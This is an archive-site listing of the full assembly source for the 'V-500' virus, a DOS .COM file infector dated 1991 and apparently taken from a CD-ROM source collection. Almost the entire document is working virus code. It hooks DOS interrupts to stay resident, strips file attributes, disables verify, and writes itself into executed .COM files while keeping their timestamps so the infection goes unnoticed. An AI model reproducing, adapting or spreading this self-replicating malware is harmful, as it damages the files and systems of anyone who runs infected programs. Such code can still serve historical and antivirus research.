home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / V500.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  4KB  |  270 lines

  1. ;------------------------------------------------------------------------------
  2. ;-        V 500     ver 2.1   <03:04:91>     GeMiCha            *.COM         -
  3. ;------------------------------------------------------------------------------
  4.  
  5.         page    ,132
  6.         name    V500
  7.         title    The V-500 virus
  8.         .radix    16
  9.     code    segment
  10.         assume    cs:code,ds:code
  11.  
  12.         org    100
  13.  
  14.  
  15. start:            push    ax
  16.         mov    ah,30h
  17.         int    21h
  18.         xchg    ah,al
  19.                 mov     word ptr [dosver],ax
  20.  
  21.         mov    ax,352eh
  22.         int    21h
  23.                 cmp     word ptr [dosver],31eh
  24.            jne    endprog
  25.  
  26.  
  27. Resident    proc    near
  28.         mov    ah,52h
  29.         int    21h
  30.         push    es
  31.         push    bx
  32.  
  33.         mov    ax,es:[bx+14h]
  34.         mov    word ptr adrdata,ax
  35.  
  36.         push    adrdata
  37.         pop    es
  38.  
  39.         mov    ax,es:[0002]
  40.         mov    Word ptr bufadr,ax
  41.  
  42.         push    ax
  43.         pop    es
  44.  
  45.         mov    ax,es:[0002]
  46.  
  47.         pop    bx
  48.         pop    es
  49.  
  50.         mov    es:[bx+14h],ax
  51.  
  52.         mov    es,word ptr adrdata
  53.         xor    di,di
  54.         mov    si,100h
  55.         lea    cx,lendata-100h
  56.         cld
  57.         rep    movsb
  58.  
  59.         mov    ax,352eh
  60.         int    21h
  61.         mov    ax,0086h
  62.         mov    es:[012E],ax
  63.         lea    dx,int21-100h
  64.         push    adrdata
  65.         pop    ds
  66.         mov    ax,2586h
  67.         int    21h
  68.  
  69.  Resident    Endp
  70.  
  71. NormProg    proc    near
  72.  
  73. EndProg:    mov    ax,3586h
  74.         int    21h
  75.         push    es
  76.         pop    word ptr cs:[jmps]
  77.         push    cs
  78.         push    word ptr cs:[lenpro]
  79.         db    0EAh
  80.         dw    Offset MNormP - 100h
  81.     jmps:    dw    0
  82.  
  83. NormProg    endp
  84.  
  85. MNormP        proc    near
  86.         cld
  87.         pop    si
  88.         add    si,0100h
  89.         pop    es
  90.         push    es
  91.         pop    ds
  92.         push    ds
  93.         pop    word ptr cs:[jmpp-100h]
  94.         lea    cx,lendata-100h
  95.         mov    di,0100h
  96.         rep    movsb
  97.  
  98.         pop    ax
  99.         db    0EAh
  100.         dw    0100h
  101.     jmpp:    dw    0
  102.  
  103. MNormP        endp
  104.  
  105.  Int21        proc    near
  106.         push    ax
  107.         push    bx
  108.         push    cx
  109.         push    dx
  110.         push    di
  111.         push    ds
  112.         push    es
  113.  
  114.         push    ds
  115.         push    dx
  116.  
  117.         xor    ax,ax
  118.         mov    es,ax
  119.         mov    ax,word ptr es:[004ch]
  120.         mov    word ptr cs:[int13-100h],ax
  121.         mov    ax,word ptr es:[004eh]
  122.         mov    word ptr cs:[int13-100h+2],ax
  123.  
  124.         mov    ah,13h
  125.         int    2fh
  126.         push    ds
  127.         push    dx
  128.         mov    ah,13h
  129.         int    2fh
  130.         pop    dx
  131.         pop    ds
  132.  
  133.         xor    ax,ax
  134.         mov    es,ax
  135.         mov    es:[004ch],dx
  136.         mov    es:[004eh],ds
  137.  
  138.     dos310    label    byte
  139.  
  140.         pop    dx
  141.         pop    ds
  142.  
  143.         mov    ax,4300h    ;Get File Attr
  144.         int    21h
  145.         push    cx
  146.         push    dx
  147.         push    ds
  148.  
  149.         mov    ax,4301h    ;Set File Attr
  150.         xor    cx,cx
  151.         int    21h
  152.  
  153.         mov    ax,3d02h    ;Open File
  154.         int    21h
  155.  
  156.         xchg    ax,bx
  157.  
  158.         push    word ptr cs:[BufAdr -100h]
  159.         pop    ds
  160.         xor    dx,dx
  161.  
  162.         lea    cx,lendata-100h
  163.         mov    ah,3fh
  164.         int    21h
  165.                 cmp     ds:[0000],'ZM'
  166.         je    clof
  167.     
  168.         mov    ax,4202h
  169.         xor    cx,cx
  170.         int    21h
  171.  
  172.         mov    cs:[lenpro-100h],ax
  173.         cmp    ah,02h
  174.         jbe    clof
  175.         cmp    ah,0f6h
  176.         jae    clof
  177.  
  178.         mov    ah,54h        ; Get Verify
  179.         int    21h
  180.         push    ax
  181.  
  182.         xor    ax,ax        ; Set Verify OFF
  183.         mov    ah,2eh
  184.         xor    dx,dx
  185.         int    21h
  186.  
  187.         mov    ax,5700h    ; Get Date & Time
  188.         int    21h
  189.         push    cx
  190.         push    dx
  191.  
  192.         xor    dx,dx
  193.         mov    ah,40h
  194.         lea    cx,lendata-100h
  195.         int    21h
  196.  
  197.         mov    ax,4200h
  198.         xor    cx,cx
  199.         int    21h
  200.  
  201.         push    cs
  202.         pop    ds
  203.         lea    cx,lendata-100h
  204.         mov    ah,40h
  205.         int    21h
  206.  
  207.         pop    dx        ; Set Date & Time
  208.         pop    cx
  209.         mov    ax,5701h
  210.         int    21h
  211.  
  212.         pop    ax        ; Set Verify
  213.         xor    dx,dx
  214.         mov    ah,2eh
  215.         int    21h
  216.  
  217.  
  218.     clof:    mov    ah,3eh
  219.         int    21h
  220.  
  221.         pop    ds
  222.         pop    dx
  223.         pop    cx
  224.         mov    ax,4301h
  225.         int    21h
  226.  
  227.         xor    ax,ax
  228.         mov    es,ax
  229.         mov    ax,word ptr cs:[int13-100h]
  230.         mov    es:[004ch],ax
  231.         mov    ax,word ptr cs:[int13-100h+2]
  232.         mov    es:[004eh],ax
  233.  
  234.         pop    es
  235.         pop    ds
  236.             pop     di
  237.                 pop     dx
  238.                 pop     cx
  239.                 pop     bx
  240.                 pop     ax
  241.         int    21h
  242.         iret
  243. Int21        endp
  244. int13        dd    0
  245. bufadr        dw    0
  246. dosver        dw    0
  247. lenpro        dw    LenPPP-LenData
  248. AdrData dw    0000h
  249. CRT    dw    0    ; ???
  250.         db    '          '
  251.         db    '          '
  252.         db    '          '
  253.         db    '          '
  254.         db    '          '
  255.         db    '          '
  256.         db    '          '
  257.         db    '          '
  258.         db    '          '
  259.         db    '          '
  260.         db    '          '
  261.         db    '  '
  262. Lendata label    byte
  263.  
  264.     prrog    DB    1998    dup(90h)
  265.         int    20h
  266. LenPPP    Label    byte
  267.  
  268. code    ends
  269.     end    start        
  270.